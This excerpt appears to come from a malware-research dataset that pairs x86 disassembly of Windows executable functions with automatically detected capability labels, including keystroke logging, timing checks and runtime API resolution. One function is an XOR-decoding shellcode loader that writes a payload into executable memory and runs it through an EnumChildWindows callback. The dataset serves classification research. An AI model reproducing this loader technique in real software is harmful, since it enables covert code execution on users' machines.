joyce8/EMBER2024-capa huggingface dataset:
Function at 0x477a40
Capabilities:
Find taskbar
Log keystrokes

Disassembly:
sub esp, 0x10
push edi
mov edi, eax
test edi, edi
jne 0x477a4f
pop edi
add esp, 0x10
ret
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push ebp
push esi
push 0
push edi
call ebx
mov ebp, eax
mov dword [esp + 0x1c], ebp
cmp ebp, dword [0x4c95bc]
je 0x477a7a
mov esi, edi
call fcn.00478b00
test al, al
jne 0x477c12
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
jne 0x477a94
push eax
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
mov esi, eax
cmp edi, esi
jne 0x477aa2
pop esi
pop ebp
pop ebx
mov eax, edi
pop edi
add esp, 0x10
ret
push edi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x477ab6
push 9
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x4c75ca], 0
jne 0x477ad0
push esi
call fcn.004779e0
add esp, 4
test eax, eax
jne 0x477c14
mov byte [esp + 0x12], 0
mov byte [esp + 0x13], 0
test esi, esi
je 0x477b2d
push 0
push esi
call ebx
mov ebx, eax
mov dword [esp + 0x18], ebx
test ebx, ebx
je 0x477b2d
cmp dword [0x4c95bc], ebx
je 0x477b14
call fcn.00478b00
test al, al
jne 0x477b14
mov eax, dword [0x4c95bc]
push 1
push ebx
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x12]
test ebp, ebp
je 0x477b2d
cmp ebx, ebp
je 0x477b2d
push 1
push ebp
push ebx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
setne byte [esp + 0x13]
mov ebx, dword [sym.imp.USER32.dll_SetForegroundWindow]
mov dword [esp + 0x14], 0
jmp 0x477b40
push edi
call ebx
push 1
push 0xa
mov dword [0x4c38b4], 0
call fcn.00401360
add esp, 8
mov dword [0x4c38b4], 1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
cmp ebp, edi
jne 0x477b73
mov ebp, edi
jmp 0x477b84
cmp ebp, esi
je 0x477b88
push 4
push ebp
call dword [sym.imp.USER32.dll_GetWindow]
cmp edi, eax
jne 0x477b88
test ebp, ebp
jne 0x477bc9
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 5
jl 0x477b40
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040f400
push 0xffc3d44d
push 0
push 0
push 0
push 0x12
push 2
call fcn.0040f400
push esi
call fcn.004779e0
add esp, 0x34
mov ebp, eax
cmp byte [esp + 0x12], 0
je 0x477be4
mov ecx, dword [esp + 0x18]
mov edx, dword [0x4c95bc]
push 0
push ecx
push edx
call dword [sym.imp.USER32.dll_AttachThreadInput]
cmp byte [esp + 0x13], 0
je 0x477bfd
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push 0
push eax
push ecx
call dword [sym.imp.USER32.dll_AttachThreadInput]
test ebp, ebp
je 0x477c12
push edi
call dword [sym.imp.USER32.dll_BringWindowToTop]
pop esi
mov eax, ebp
pop ebp
pop ebx
pop edi
add esp, 0x10
ret
xor eax, eax
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x10
ret
Function at 0x477d10
Capabilities:
Check for time delay via gettickcount

Disassembly:
cmp byte [esp + 8], 0
je 0x477d20
mov eax, esi
call fcn.00453f90
jmp 0x477d2d
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [esp + 4]
test eax, eax
js 0x477d88
je 0x477d88
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call ebp
push 1
push 0x8000012f
mov edi, eax
call fcn.00401360
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call ebx
test eax, eax
je 0x477d85
add edi, dword [esp + 0x10]
call ebp
mov ecx, edi
sub ecx, eax
cmp ecx, 5
jle 0x477d85
push 1
push 0x8000012f
call fcn.00401360
add esp, 8
push esi
call ebx
test eax, eax
jne 0x477d64
pop edi
pop ebp
pop ebx
mov eax, esi
ret
Function at 0x477f70
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.00498b00
mov eax, dword [esp + 0x11c70]
push ebx
push ebp
mov ebp, dword [esp + 0x11c74]
push esi
mov esi, ecx
movzx ecx, word [edx]
xor ebx, ebx
cmp ecx, 0x41
je 0x477f9c
cmp ecx, 0x61
jne 0x477ff1
cmp word [edx + 2], bx
jne 0x477ff1
cmp word [edi], bx
jne 0x477ff1
cmp word [eax], bx
jne 0x477ff1
cmp word [esi], bx
jne 0x477ff1
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
cmp esi, ebx
je 0x477fd2
cmp byte [ebp + 0xea], bl
jne 0x477fd2
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x477fd2
xor esi, esi
cmp byte [esp + 0x11c84], bl
je 0x477fe5
cmp esi, ebx
je 0x477fe5
mov dword [ebp + 0xc4], esi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
cmp cx, bx
jne 0x478016
cmp word [edi], bx
jne 0x478016
cmp word [eax], bx
jne 0x478016
cmp word [esi], bx
jne 0x478016
mov eax, ebp
call fcn.00478170
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
push esi
push edi
push edx
push ebp
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x102c], 0x4a0850
mov byte [esp + 0x1849], bl
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1850], ebx
mov dword [esp + 0x1854], ebx
mov dword [esp + 0x1858], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov dword [esp + 0x186c], ebx
mov dword [esp + 0x1870], ebx
call fcn.00478c40
test eax, eax
je 0x478127
test byte [esp + 0x10], 2
mov al, byte [esp + 0x11c80]
mov ecx, dword [esp + 0x11c88]
mov edx, dword [esp + 0x11c8c]
mov byte [esp + 0x1839], al
mov dword [esp + 0x1848], ecx
mov dword [esp + 0x184c], edx
je 0x478133
mov eax, dword [esp + 0x102c]
cmp eax, 0xffff
je 0x4780ff
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x478127
cmp byte [ebp + 0xea], bl
jne 0x4780f8
mov eax, dword [esp + 0x102c]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x4780f8
mov ecx, dword [esp + 0x102c]
push 0xfffffffffffffff0
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x478127
mov eax, dword [esp + 0x102c]
cmp dword [esp + 0x1860], eax
je 0x478118
lea esi, [esp + 0x10]
mov dword [esp + 0x1860], eax
call fcn.004790a0
push ebx
lea edx, [esp + 0x14]
push edx
call fcn.00479160
test eax, eax
jne 0x478143
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
lea eax, [esp + 0x10]
push eax
push 0x4781e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov eax, dword [esp + 0x1840]
cmp byte [esp + 0x11c84], bl
je 0x47815d
cmp eax, ebx
je 0x47815d
mov dword [ebp + 0xc4], eax
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret
Function at 0x4790a0
Capabilities:
Get graphical window text

Disassembly:
push ecx
mov ecx, dword [esi + 0x1850]
test ecx, ecx
je 0x47915e
mov eax, dword [esi]
test eax, eax
je 0x47915e
push edi
test al, 1
jne 0x4790ca
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x4790e6
push 0x7fff
lea edi, [esi + 0x1858]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x4790e6
xor ecx, ecx
mov word [edi], cx
test byte [esi], 4
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
je 0x479101
mov eax, dword [esi + 0x1850]
lea edx, [esi + 0x1854]
push edx
push eax
call edi
test byte [esi], 0x20
je 0x47913f
mov edx, dword [esi + 0x1850]
lea ecx, [esp + 4]
push ecx
push edx
call edi
test eax, eax
je 0x47913f
movzx eax, byte [esi + 0x1828]
mov ecx, dword [esp + 4]
push eax
lea eax, [esi + 0x11a58]
call fcn.0044fa40
add esp, 4
test eax, eax
jne 0x47913f
xor ecx, ecx
mov word [esi + 0x11a58], cx
test byte [esi], 8
pop edi
je 0x47915e
mov eax, dword [esi + 0x1850]
push 0x101
lea edx, [esi + 0x11856]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
pop ecx
ret

Function at 0x479980
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c64
call fcn.00498b00
mov eax, dword [esp + 0x11c68]
mov eax, dword [eax + 8]
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x479a2d
mov dword [esp + 0x1848], eax
lea eax, [esp + 8]
push eax
push 0x47a0c0
mov dword [esp + 0x10], ebx
mov dword [esp + 0x101c], 0x4a0850
mov byte [esp + 0x1839], bl
mov dword [esp + 0x183c], ebx
mov dword [esp + 0x1840], ebx
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x185c], ebx
mov dword [esp + 0x1860], ebx
mov byte [esp + 0x1854], cl
mov dword [esp + 0x1858], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1838], ebx
je 0x479a2d
mov ecx, dword [0x4c39ac]
mov eax, dword [ecx + 0x54]
cmp eax, 0xffffffff
jle 0x479a2d
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, 1
pop ebx
add esp, 0x11c64
ret 4
Function at 0x479a40
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
cmp dword [edi + 8], 0
jne 0x479a5c
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
mov eax, dword [0x4c39ac]
push eax
push esi
mov ecx, edi
call fcn.00479f00
cmp byte [edi], 0
mov dword [esp + 0x10], eax
je 0x479a93
test eax, eax
jne 0x479a97
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push edi
call fcn.00479b50
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
test eax, eax
jne 0x479b16
test esi, esi
je 0x479b16
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
push 1
push 0x8000012f
mov ebx, eax
call fcn.00401360
mov edi, dword [sym.imp.USER32.dll_IsWindow]
add esp, 8
push esi
call edi
test eax, eax
je 0x479af5
mov edi, edi
call ebp
lea ecx, [ebx + 0x1f4]
sub ecx, eax
cmp ecx, 5
jle 0x479af5
push 1
push 0x8000012f
call fcn.00401360
add esp, 8
push esi
call edi
test eax, eax
jne 0x479ad0
mov edx, dword [0x4c39ac]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x479b0e
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x18]
cmp byte [edi], 0
je 0x479b30
mov ecx, dword [esp + 0x1c]
push 0
push ecx
push edi
call fcn.00479b50
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
mov edx, dword [esp + 0x1c]
push edx
mov ecx, edi
call fcn.00479cd0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x479cd0
Capabilities:
Enumerate gui resources

Disassembly:
mov eax, 0x11c68
call fcn.00498b00
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 8], ebx
je 0x479e50
xor cl, cl
mov eax, edi
call fcn.00479e70
test eax, eax
jne 0x479d05
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebp, eax
mov eax, dword [0x4c39ac]
push eax
push ebp
mov ecx, edi
call fcn.00479f00
test eax, eax
je 0x479d28
xor eax, eax
mov dword [0x4c95b4], eax
jmp 0x479d2d
mov eax, dword [0x4c95b4]
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1024], 0x4a0850
mov dword [esp + 0x1844], ebx
mov dword [esp + 0x1848], ebx
mov dword [esp + 0x184c], ebx
mov dword [esp + 0x1864], ebx
mov dword [esp + 0x1868], ebx
cmp byte [esp + 0x11c7c], bl
je 0x479d73
mov byte [esp + 0x1841], bl
cmp eax, ebx
je 0x479d7b
mov byte [esp + 0x1841], 1
mov ecx, dword [0x4c95b0]
mov edx, dword [edi + 8]
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
lea eax, [esp + 0x18]
push eax
push 0x479fd0
mov dword [esp + 0x1858], ecx
mov dword [esp + 0x1860], edx
call esi
mov eax, dword [esp + 0x1848]
cmp eax, ebx
je 0x479e28
lea ecx, [esp + 0x10]
push ecx
push 0x478a50
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ebx
call esi
mov esi, dword [esp + 0x14]
cmp esi, ebx
je 0x479de5
mov edx, dword [esp + 0x1848]
call fcn.00479610
mov dword [esp + 0x1848], esi
mov eax, dword [esp + 0x1848]
call fcn.00477a40
mov edx, dword [esp + 0x1848]
call fcn.00479610
mov edx, dword [0x4c39ac]
mov eax, dword [edx + 0x54]
cmp eax, 0xffffffff
jle 0x479e50
push 1
push eax
call fcn.00401360
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x11c68
ret 4
mov eax, dword [0x4c95b4]
cmp eax, ebx
je 0x479e50
cmp eax, 1
setg al
mov dword [0x4c95b4], ebx
cmp al, bl
je 0x479e50
mov edx, ebp
call fcn.00479610
push ebx
mov ecx, edi
call fcn.00479cd0
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x11c68
ret 4
Function at 0x4939a6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4c2d70]
jne 0x4939b0
repz ret
jmp fcn.0049852f

Function at 0x4968c0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c2d70]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00490d92
and dword [ebp - 0x14], 0
cmp dword [0x4c5bfc], 0
mov dword [ebp - 0x18], eax
jne 0x496973
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x496a1b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49ffe0
push ebx
call edi
test eax, eax
je 0x496a1b
mov esi, dword [fcn.0048d020]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4c5bfc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4c5c00], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4c5c04], eax
call edi
push eax
call esi
mov dword [0x4c5c0c], eax
test eax, eax
je 0x496973
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4c5c08], eax
mov eax, dword [0x4c5c08]
mov ecx, dword [ebp - 0x18]
mov esi, dword [fcn.0048d024]
cmp eax, ecx
je 0x4969cc
cmp dword [0x4c5c0c], ecx
je 0x4969cc
push eax
call esi
push dword [0x4c5c0c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4969cc
test ebx, ebx
je 0x4969cc
call edi
test eax, eax
je 0x4969c3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4969c3
test byte [ebp - 8], 1
jne 0x4969cc
or dword [ebp + 0x10], 0x200000
jmp 0x4969ff
mov eax, dword [0x4c5c00]
cmp eax, dword [ebp - 0x18]
je 0x4969ff
push eax
call esi
test eax, eax
je 0x4969ff
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4969ff
mov eax, dword [0x4c5c04]
cmp eax, dword [ebp - 0x18]
je 0x4969ff
push eax
call esi
test eax, eax
je 0x4969ff
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4c5bfc]
call esi
test eax, eax
je 0x496a1b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x496a1d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004939a6
leave
ret
Function at 0x456f90
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x25b0
call fcn.00466ba0
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x25a6
lea eax, [ebp - 0x25ac]
push 0x4de7a0
push eax
call fcn.00467bc0
mov bl, byte [ebp - 0x25ac]
add esp, 0xc
xor bl, 0x90
nop
nop
nop
nop
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
nop
nop
nop
push 4
push 0x1000
push 0x25a5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
nop
nop
nop
nop
lea eax, [ebp - 0x25b0]
push eax
push 0x40
push 0x25a5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
lea esi, [ebp - 0x25ac]
mov ecx, edi
sub esi, edi
mov edx, 0x25a5
nop
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
nop
xor al, bl
nop
mov byte [ecx - 1], al
sub edx, 1
jne 0x457021
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.EnumChildWindows
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push edi
push 0
call eax
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00466875
mov esp, ebp
pop ebp
ret 0x10

Function at 0x457630
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
mov eax, dword [0x4f0840]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
cmp eax, 1
jne 0x457679
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3180]
js 0x457665
cmp eax, 0x32
jl 0x457761
push 0
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3180], eax
jmp 0x457749
cmp eax, 3
jne 0x457708
push 0x6c
push dword [0x4f557c]
call fcn.00403080
mov ecx, dword [0x4f3174]
add esp, 8
mov esi, eax
test ecx, ecx
je 0x4576b1
push 0x20001
push 0
push dword [esi]
call ecx
test eax, eax
jne 0x457749
push dword [esi]
lea eax, [ebp - 0x58]
push str.Unable_to_play_sound_file_n_s_nUsing_default_sound_instead
push eax
call fcn.00408a10
push dword [0x4c8514]
lea eax, [ebp - 0xbc]
push str._.70s_Sound_Error
push eax
call fcn.00408a10
add esp, 0x18
lea eax, [ebp - 0xbc]
push 0x30
push eax
lea eax, [ebp - 0x58]
push eax
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
push 0x66
push dword [0x4f557c]
call fcn.00403580
add esp, 0xc
jmp 0x457749
cmp eax, 4
jne 0x457749
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x4f3184]
js 0x457722
cmp eax, 0x32
jl 0x457761
cmp dword [0x4f54f0], 2
jne 0x45773a
push 0x64
push 0x320
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x457742
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBeep]
call esi
mov dword [0x4f3184], eax
mov eax, dword [0x4f55ac]
cmp dword [eax + 0x134], 0
jne 0x457761
push 2
call fcn.004587b0
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00466875
mov esp, ebp
pop ebp
ret
Function at 0x459680
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [0x4f55b8]
push 0x4573b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esp, ebp
pop ebp
ret

Function at 0x45a450
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
lea eax, [ebx + 1]
push eax
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x45a4f7
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edi, eax
test edi, edi
je 0x45a4f6
push ebx
push dword [ebp + 0xc]
push edi
call fcn.00467bc0
add esp, 0xc
mov byte [edi + ebx], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
test ebx, ebx
jne 0x45a4b5
push 0
push 1
push 0x8002
push dword [0x4f55b8]
call edi
push dword [0x4f55b8]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x45a4dc
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
jmp 0x45a4e3
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test ebx, ebx
jne 0x45a4f6
push ebx
push ebx
push 0x8002
push dword [0x4f55b8]
call edi
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401600
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push 0x3c
lea eax, [ebp - 0x3c]
push 0
push eax
call fcn.0050b0e0
mov ecx, dword [ebp + 0xc]
push 0x104
push 0
push ecx
call fcn.0050b0e0
mov edx, dword [ebp + 0x10]
push 0x104
push 0
push edx
call fcn.0050b0e0
mov eax, dword [ebp + 0x14]
push 0x104
push 0
push eax
call fcn.0050b0e0
push 0x104
push 0
push ebx
call fcn.0050b0e0
push 0x104
push 0
push edi
call fcn.0050b0e0
add esp, 0x48
push 0x104
push 0
push esi
call fcn.0050b0e0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
add esp, 0xc
mov eax, 0x103
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x3c]
push ecx
push 0
mov dword [ebp - 0x2c], edx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push 0
push edx
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], esi
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov esp, ebp
pop ebp
ret
Function at 0x4037e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4037fb
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x403832
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40382e
jmp 0x403820
cmp esi, eax
jae 0x403832
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x403820
cmp esi, eax
jb 0x403839
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x411bda
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x411c21
call fcn.0041ba7b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x411c21
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x411c3d
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.004116df
mov esi, eax
test edi, edi
je 0x411c3b
test ebx, ebx
je 0x411c3b
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x412417
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x5269bf
call fcn.0050ade1
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41243c
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41248e
call fcn.0041d964
push eax
lea ecx, [ebp - 0x10]
call fcn.004033c0
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0050a973
push eax
call fcn.00403c70
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00403440
mov eax, esi
call fcn.0050aeb9
ret 8